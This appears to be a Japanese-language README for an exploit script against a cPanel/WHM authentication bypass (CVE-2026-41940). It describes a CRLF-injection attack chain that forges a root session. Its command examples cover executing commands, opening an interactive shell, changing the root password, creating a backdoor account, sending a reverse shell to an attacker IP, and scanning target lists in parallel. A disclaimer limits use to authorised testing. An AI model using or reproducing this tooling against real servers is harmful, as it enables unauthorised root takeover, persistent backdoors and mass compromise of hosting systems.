CVE-2026-41940: cPanel/WHM 認証バイパス (単一 & 複数ターゲット)
免責事項: この文書および関連スクリプト (exploit.py) は、教育目的、セキュリティ研究、および許可を得たペネトレーションテスト専用に提供されます。所有していない、またはテストする明示的な許可を得ていないシステムに対してこのソフトウェアを使用しないでください。
概要
exploit.py は、cPanel & WHM における認証バイパス脆弱性 (CVE-2026-41940) を実証するスクリプトです。この脆弱性により、認証されていない攻撃者が CRLF インジェクションの欠陥を介してデーモンキャッシュに root セッションを注入し、最終的に有効な認証情報を必要とせずに root レベルの WHM アクセスを取得できます。
脆弱性分析とエクスプロイトの流れ
このエクスプロイトは、Basic 認証処理メカニズム内の CRLF (キャリッジリターン・ラインフィード) インジェクション脆弱性と、セッション伝播の欠陥を組み合わせて利用します。スクリプトは攻撃を4つの段階で自動化します:
- 事前認証セッションの生成: 公開ログインエンドポイント (例:
/login/ や /cgi/login.cgi) に接続し、ベースラインとなる未認証セッションクッキー (whostmgrsession) を取得します。
- CRLF インジェクション: Base64 エンコードされたペイロードを含む巧妙に細工された Basic 認証ヘッダーを送信し、root セッションフィールドを
cpsrvd セッションキャッシュに直接注入します。サーバーのリダイレクト応答から生成されたセキュリティトークン (cpsess) が漏洩します。
- セッション伝播: 生のセッションクッキーが認証済み WHM エンドポイントに送信され、
do_token_denied をトリガーして偽造セッションをデーモンキャッシュに伝播させ、有効な認証済みセッションにします。
- 検証: 偽造セッションを使用して制限付き WHM API エンドポイント (例:
/json-api/version) にアクセスし、root レベルのアクセスを確認します。
前提条件
- Python 3.x
requests ライブラリ
使用方法
python exploit.py --target <URL> [options]
python exploit.py --target-file <FILE> [options]
引数
ターゲット選択
| 引数 | 説明 |
|---|
--target URL | 単一の WHM URL (例: https://target:2087) |
--target-file FILE | ターゲットを含むファイル (1行に1つの ip:port) — チェックモードを自動有効化 |
ネットワーク & コアオプション
エクスプロイトオプション (バイパス後)
出力オプション
| 引数 | 説明 |
|---|
--output FILE | セッショントークンと詳細を JSON ファイルに保存 |
使用例
# Check if target is vulnerable
python exploit.py --target https://target:2087 --check
# Dump server info (version, accounts, privileges)
python exploit.py --target https://target:2087 --dump
# Generate a one-click root login URL (paste in browser immediately)
python exploit.py --target https://target:2087 --session
# Execute a command
python exploit.py --target https://target:2087 --exec "id"
# Drop into an interactive WHM shell
python exploit.py --target https://target:2087 --shell
# Change root password
python exploit.py --target https://target:2087 --password 'NewP@ss!'
# Call WHM API directly
python exploit.py --target https://target:2087 --api version
python exploit.py --target https://target:2087 --api listaccts --api-params api.version=1
# Create a backdoor cPanel account
python exploit.py --target https://target:2087 --add-user myuser 'Pass123!' example.com
# Send reverse shell
python exploit.py --target https://target:2087 --revshell YOUR_IP 4444
# Override hostname (use when auto-discovery fails)
python exploit.py --target https://1.2.3.4:2087 --hostname whm.server.net --check
# Scan multiple targets (check-only mode)
python exploit.py --target-file ips.txt
python exploit.py --target-file ips.txt --threads 20
# Save session to file
python exploit.py --target https://target:2087 --dump --output results.json
対話型シェルコマンド
--shell を使用する場合、次のコマンドが利用できます:
注意事項
最新の cPanel/WHM セキュリティパッチを直ちに適用してください。